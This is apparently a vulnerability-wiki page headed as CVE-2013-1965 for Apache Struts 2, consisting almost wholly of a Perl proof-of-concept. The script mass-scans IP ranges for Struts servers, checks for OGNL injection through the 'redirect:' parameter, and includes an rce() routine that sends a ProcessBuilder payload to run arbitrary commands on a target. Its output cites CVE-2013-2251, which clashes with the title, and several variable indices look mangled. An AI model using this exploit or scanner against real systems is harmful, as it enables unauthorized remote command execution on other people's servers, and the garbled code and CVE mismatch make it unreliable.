Loading
0

CVE-2013-1965 Apache Struts 2漏洞

PWNWIK.COM==免费、自由、人人可编辑的漏洞库

,

POC

use strict; 
use warnings;
use Parallel::ForkManager;
use IO::Socket;
use Getopt::Long;
use IO::Socket::SSL;

our %workers;

#./script ip/host
# options:
# --scan
#   --ipcount (used with --scan)
#   --threads=50 (used with --scan)
# --port=8080 (default: all ports)
# --path=/what/ever.action (default: all paths)
# --ssl
# --force (ignores regex for struts detection)
# --timeout=seconds (default: 1)
# --cmd="some command"
# --debug=1-3 1=important output, 2=all output, 3=no output (default:1)
# --log=1/2 yes/no (default:1)
# --logfile=somefile (default:appends log.txt)


my @ports=('80','8080','8088','9080','9081','9082','9083');
my @portssl=('9443,9444'); #not in use
my @paths=(
'/Hello_World_Struts2_Ant/index.action',
'/Wildcard_Method_Struts2_Mvn/Person.action',
'/Basic_Struts2_Ant/index.action',
'/struts2-showcase-2.0.6/tiles/index.action',
'/struts2-jquery-showcase-3.6.0/index.action',
'/struts2-jquery-showcase/index.action',
'/struts2-blank/example/Menu.action',
'/blank/example/Menu.action',
'/struts2-showcase/viewSource.action',
'/Interceptors_Struts2_Ant/index.action',
'/Form_XML_Validation_Struts2_Ant/index.action',
'/Using_Tags_Struts2_Ant/index.action',
'/Spring_Struts2_Ant/index.action',
'/Form_Validation_Struts2_Ant/index.action',
'/struts2/index.action',
'/index.action'
);
my @jbosspaths = ('/struts2-jboss-blank/example/Menu.action','/struts2-blank/example/Menu.action','/jboss-blank/example/Menu.action','/blank/example/Menu.action','/index.action','/struts2/index.action');

my ($path,$port,$ssl,$scan,$threads,$ipcount,$force,$type,$timeout,$cmd,$debug,$log,$logfile) = "";

GetOptions ("ipcount=i" => \$ipcount,
            "timeout=i" => \$timeout,
            "debug=i" => \$debug,
            "log=i" => \$log,
            "logfile=s" => \$logfile,
            "cmd=s" => \$cmd,
            "scan" => \$scan,
            "port=s" => \$port,
            "threads=i" => \$threads,
            "path=s"   => \$path,
            "ssl"   => \$ssl,
            "force"   => \$force)
  or die("Error in command line arguments\n");
  
if (!$log) { $log = 1; }
if (!$logfile) { $logfile = 'log.txt'; }
if (!$debug) { $debug = 1; }
if (!$timeout) { $timeout = 1; } 
use constant PATIENCE => $timeout; # seconds
if ($path) { @paths=($path); }  
if ($port) { @ports=($port); } 
if (!$ipcount) { $ipcount = 1; }
if (!$threads) { $threads = 1; }
my @target=split('\.',$ARGV0); #123.123.123.1

main();


sub main {
  outp("Threads Set: $threads",1);
  outp("Number of IPs to Scan: $ipcount",1);
  outp("Paths Loaded: ". ($#paths + 1),1);
  outp("Ports Loaded: ". ($#ports + 1),1);
  if ($log == 1) { outp("Using Log File: $logfile",1); }
  else { outp("Using Log File: No",1); }
  outp("Output Level: ". $debug,1);
  outp("Starting Apache Struts Scanner..\n",1);
  
  if ($scan) {
    if ($threads > 1) {
      my $pm = Parallel::ForkManager->new($threads);
      $pm->run_on_wait(\&dismiss_hung_workers, 1);  # 1 second between callback invocations
      for my $id (1 .. $ipcount) {
        if (my $pid = $pm->start) {
          $workers{$pid} = time();
          next;
        }
        my $ip = getip();
	   scan($ip,$id);
       $pm->finish;
      }
      $pm->wait_all_children;
    }
    else { 
      for (1 .. $ipcount) {
      my $ip = getip();
	  scan($ip,'1');
      }
    }
  }
  elsif ($cmd) { rce($ARGV0,$cmd); }
  else { scan($ARGV0,'1'); }
  outp("\nApache Struts Scanner Finished.",1);
}
sub dismiss_hung_workers {
  while (my ($pid, $started_at) = each %workers) {
    next unless time() - $started_at > PATIENCE;
    kill TERM => $pid;
    delete $workers{$pid};
  }
}
sub getip {
  if ($target3 == 255) { 
    if ($target2 == 255) { 
	  if ($target1 == 255) { 
	    if ($target0 == 255) { outp("wtf are you doing?",1);exit; }
		else { $target1 = 0; $target2 = 0; $target3 = 0; $target0 = ($target0 + 1); };
	  }
	  else { $target2 = 0; $target3 = 0; $target1 = ($target1 + 1); };
	}
	else { $target3 = 0; $target2 = ($target2 + 1); };
  }
  else { $target3 = ($target3 + 1); }
  return "$target0.$target1.$target2.$target3";
}
sub scan {
my $id = "\tID: $_1\:";
my $joinports = join(',',@ports);
outp("$id Scanning IP: ".$_0." (ports: $joinports)",2);
foreach my $port (@ports) {  
  my $req = " HTTP/1.1\r\n"
  . "Host: $_0\r\n"
  . "Referer: http://$_0\r\n"
  . "User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24\r\n"
  . "Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n"
  . "Accept-Encoding: *\r\n"
  . "Accept-Language: en-US;q=0.6,en;q=0.4\r\n"
  . "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.3\r\n"
  . "Connection: close\r\n\r\n";
  my ($sock,$check,$socket,$filter) = "";
  if (!$force) {
    #attempts to id the server and detect a page to test
    $socket= IO::Socket::INET->new(PeerAddr=>"$_0:$port",Proto=>'tcp',Timeout=>$timeout);
    if ($ssl) { $socket= IO::Socket::SSL->new(PeerHost => "$_0",PeerPort => "$port",Timeout=>$timeout); }
    if ($socket) {  
  	  $check = "GET /";
      print $socket $check.$req;
      while (<$socket>) { $sock = $sock.$_; }
      $socket->close();
	  if ($sock =~ /(Tomcat|Apache-Coyote|Glassfish|JBoss|Websphere|Weblogic|\.action|JSESSIONID|The document has moved|Moved Temporarily|Apache)/) { $filter = 1;$type=$1; }
	  my $detect = "";
	  if ($sock =~ /(location\=\"(.*)\"\;)/ and length($sock) < 500) { $detect = "$2"; }
	  elsif ($sock =~ /(window.open.?\(\'(.*)\))/) { 
		my $found = $2;
	    my @split = split("'", $found);
	    if ($split0 =~ /;/) {
	      my @split = split(';', $split0);
		  if ($split0) { $found = $split0; }
		}
		else { $found = $split0; }
		if ($found =~ /^\/.*\.action$/) { outp("Valid path found to test0: $found",2); @paths=($found); $filter = 1;$type="auto"; }
		else { $detect = "$found";outp("Redirect Found#0: $found",2); }
	  }
	  elsif ($sock =~ /(The document has moved.*href.?\"(.*)\">)/) { 
	    my $cut = $2;
	    print "here: $cut\n";
	    if ($cut =~ /http/) {
			#print "here:3\n";
			my @split = split('/', $cut);
			my $eee = "";
			foreach (3..$#split) { $eee = $eee."/".$split$_; }
			if ($eee =~ /^\/.*\.action$/) { outp("$id Valid path found to test3: $eee",2); @paths=($eee); $filter = 1;$type="auto"; }
			elsif ($eee =~ /^\//){ $detect = "$eee";  }#outp("$id Redirect Found#4: $eee",2); }
		}
		elsif ($cut =~ /^(\/.*\.action)$/) { my $found = $1;outp("$id Valid path found to test3: $found",2); @paths=($found); $filter = 1;$type="auto"; }
		elsif ($cut =~ /^(\/.*\/)$/) { $detect= $1; outp("Redirect Found#3: $detect",2); }
	  }
	#}
	  else { print "$id SOCKc: $sock\n";$socket->close();next; }
      if ($detect) {
	    #print "$id Redirect Detected: $detect\n"; 
		$socket= IO::Socket::INET->new(PeerAddr=>"$_0:$port",Proto=>'tcp',Timeout=>$timeout);
        if ($ssl) { $socket= IO::Socket::SSL->new(PeerHost => "$_0",PeerPort => "$port",Timeout=>$timeout); }
        if ($socket) {  
  	      $check = "GET $detect/";
          print $socket $check.$req;
		  $sock = "";
          while (<$socket>) { $sock = $sock.$_; }
		  print "$id Followed Redirect to: $detect\n"; 
		  if ($sock =~ /(Tomcat|Apache-Coyote|Glassfish|JBoss|Websphere|Weblogic|\.action|JSESSIONID|The document has moved|Moved Temporarily|Apache)/) { $filter = 1;$type=$1; }
		  if ($sock =~ /(window\.open.?\(\'(.*)\))/) { 
		    my $found = $2;
			my @split = split("'", $found);
			if ($split0 =~ /;/) {
			  my @split = split(';', $split0);
			  if ($split0) { $found = $split0; }
			}
			else { $found = $split0; }
			if ($found =~ /^\/.*\.action$/) { outp("$id Valid path found to test1: $found",2);@paths=($found); $filter = 1;$type="auto"; }
			else { outp("Debug Redirect Found#1: $found",2); }
		  }
		  elsif ($sock =~ /(location\=\"(.*)\"\;)/) {
		    my $found = $2;
		    if ($found =~ /^\/.*\.action$/) { outp("$id Valid path found to test2: $found",2);@paths=($found); $filter = 1;$type="auto"; }
			elsif ($found =~ /http/) {
			  #print "here:4\n";
			  my @split = split('/', $found);
			  my $eee = "";
			  foreach (3..$#split) { $eee = $eee."/".$split$_; }
			  if ($eee =~ /^\/.*\.action$/) { outp("Valid path found to test3: $eee",2); @paths=($eee); $filter = 1;$type="auto"; }
			  else { outp("Debug Redirect Found#2: $found",2); }
		    }
			else { outp("Debug Redirect Found#1: $found",2); }
		  }
		  elsif ($sock =~ /(Location\: (.*)\n)/) {
		    my $found = $2;
			$found =~ s/\n//g;
	        $found =~ s/\r//g;
		    if ($found =~ /^\/.*\.action$/) { outp("Valid path found to test4: $found",2);@paths=($found); $filter = 1;$type="auto"; }
			elsif ($found =~ /http/) {
			  #print "here:4\n";
			  my @split = split('/', $found);
			  my $eee = "";
			  foreach (3..$#split) { $eee = $eee."/".$split$_; }
			  if ($eee =~ /^\/.*\.action$/) { outp("$id Valid path found to test: $eee",2); @paths=($eee); $filter = 1;$type="auto"; }
			  else { outp("$id Debug Redirect Found#4: $eee",2); }
		    }
			else { outp("$id Debug Redirect Found#3: $found",2); }
		  }
          $socket->close();#print $sock."\n";
	    }
	  }
	
    }
	 else { outp("$id SOCK: error",2);next; }
  }
  if (($filter == 1) or ($force)) { 
    if ($force) { $type = "forced"; }
	outp("$id \"$type\" detected on: $_0:$port",2); 
	outp("$id Now Checking for Struts..",2);
	foreach my $p (@paths) {
	if (!$ssl) { $socket= IO::Socket::INET->new(PeerAddr=>"$_0:$port",Proto=>'tcp',Timeout=>$timeout); }
	else { $socket= IO::Socket::SSL->new(PeerHost => "$_0",PeerPort => "$port",Timeout=>$timeout); }
	if ($socket) { 
	  $check = "GET $p";
	  print $socket $check.$req;
	  $sock = "";
	  if (<$socket> =~ /200 OK/) { 
	    outp("$id Apache Struts Found! (path verified)",2); 
		outp("$id Checking if Struts is Vuln.. (trying ". ( $#paths + 1) ." paths)",2);
		$socket->close();
	    if (!$ssl) { $socket= IO::Socket::INET->new(PeerAddr=>"$_0:$port",Proto=>'tcp',Timeout=>$timeout); }
		else { $socket= IO::Socket::SSL->new(PeerHost => "$_0",PeerPort => "$port",Timeout=>$timeout); }
	    if ($socket) { 
	      $check = "GET $p?redirect:%25{new%20java.io.File('.').getCanonicalPath().concat({3*8888})}";
	      print $socket $check.$req;
	      $sock = "";
	      while (<$socket>) { $sock = $sock.$_; }
	      if ($sock =~ /\:\/\/(.*)\26664/) { 
		    my $match = "";
			my @split = split('/',$p);
			if ($split1) {
			  @split = split($split1,$1);
			  if ($split1) { $match = $split1; }
			}
		    if ($match =~ /\:/) { outp("$id Apache Struts Vuln Found (Windows: $match): $_0:$port $p (CVE: 2013-2251)",1); }
			elsif ($match) { outp("$id Apache Struts Vuln Found (Linux: $match): $_0:$port $p (CVE: 2013-2251)",1); }
			else { outp("$id Apache Struts Vuln Found (Linux: unknown_path): $_0:$port $p (CVE: 2013-2251)",1); }
		  }
		  #else { outp("$id Apache Struts Vuln Not Found!\n$sock",2); } #extra debug
		  else { outp("$id Apache Struts Vuln Not Found!\n",2); }
		  $socket->close();
		}
		else { outp("$id Socket Error #1",2); }
		last;
	  }
	  else { $socket->close(); }
	} 
	else { outp("$id Socket Error #0",2); } 
	outp("$id No Struts Found!",2);
	}
  }
  #else { outp("SOCK: $sock",2); $socket->close(); } extra debug
  else { ouutp("$id Doesnt match filter!",2);$socket->close(); }
 # }
}
}
sub rce {
  my $cmd = $_1;
  $cmd =~ s/ /'\,'/g;
  $cmd = "'$cmd'";
  #print "cmd: $cmd\n";
  my $socket= IO::Socket::INET->new(PeerAddr=>"$_0:$ports0",Proto=>'tcp',Timeout=>$timeout);
  if ($ssl) { $socket= IO::Socket::SSL->new(PeerHost => "$_0",PeerPort => "$ports0",Timeout=>$timeout); }
  if ($socket) {  
    my $p = $paths0;
	my @split = ();
	my $c = "%25{(new+java.lang.ProcessBuilder(new+java.lang.String{$cmd})).start()}";
	my $check = "GET $p?redirect:$c";
	my $full = "($_0:$ports0$p?redirect:$c)";
	#print "check: $check\n";
	my $req = " HTTP/1.1\r\n"
  . "Host: $_0\r\n"
  . "Referer: http://$_0\r\n"
  . "User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24\r\n"
  . "Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n"
  . "Accept-Encoding: *\r\n"
  . "Accept-Language: en-US;q=0.6,en;q=0.4\r\n"
  . "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.3\r\n"
  . "Connection: close\r\n\r\n";
    print $socket $check.$req;
    my $sock = "";
	#print <$socket>;
    while (<$socket>) { 
	  if ($_ =~ /Location/)  { @split = split('/',$_); }
	}
	my $match = "";
	if ($split0 and $split0 =~ /http/) { 
	  $match = $split$#split;
	}
	if (!$match) { $match = "error_no_results"; }
	$match =~ s/\n//g;
	$match =~ s/\r//g;
	outp("Result: $match",1,$full);
    $socket->close();
  }
}

sub outp {
#1 debug output level 1 (more important)
#2 debug output all 
#3 no ouput
  my $data = $_0;
  my $write = $_1;
  my $extra = "";
  my $log1 = 0;
  if ($_2) { $extra = $_2; }
  
  if ($write == 2 and $debug == 2) { print $data."\n";$log1=1; }
  elsif ($write == 1 and $debug <= 2) { print $data."\n";$log1=1; }
  if ($log == 1 and $log1 == 1) {
    open(LOG, '>>'.$logfile);
    if ($extra) { print LOG $extra."\n".$data."\n"; }
    else { print LOG $data."\n"; }
    close(LOG);
  }
}

PWNWIK.COM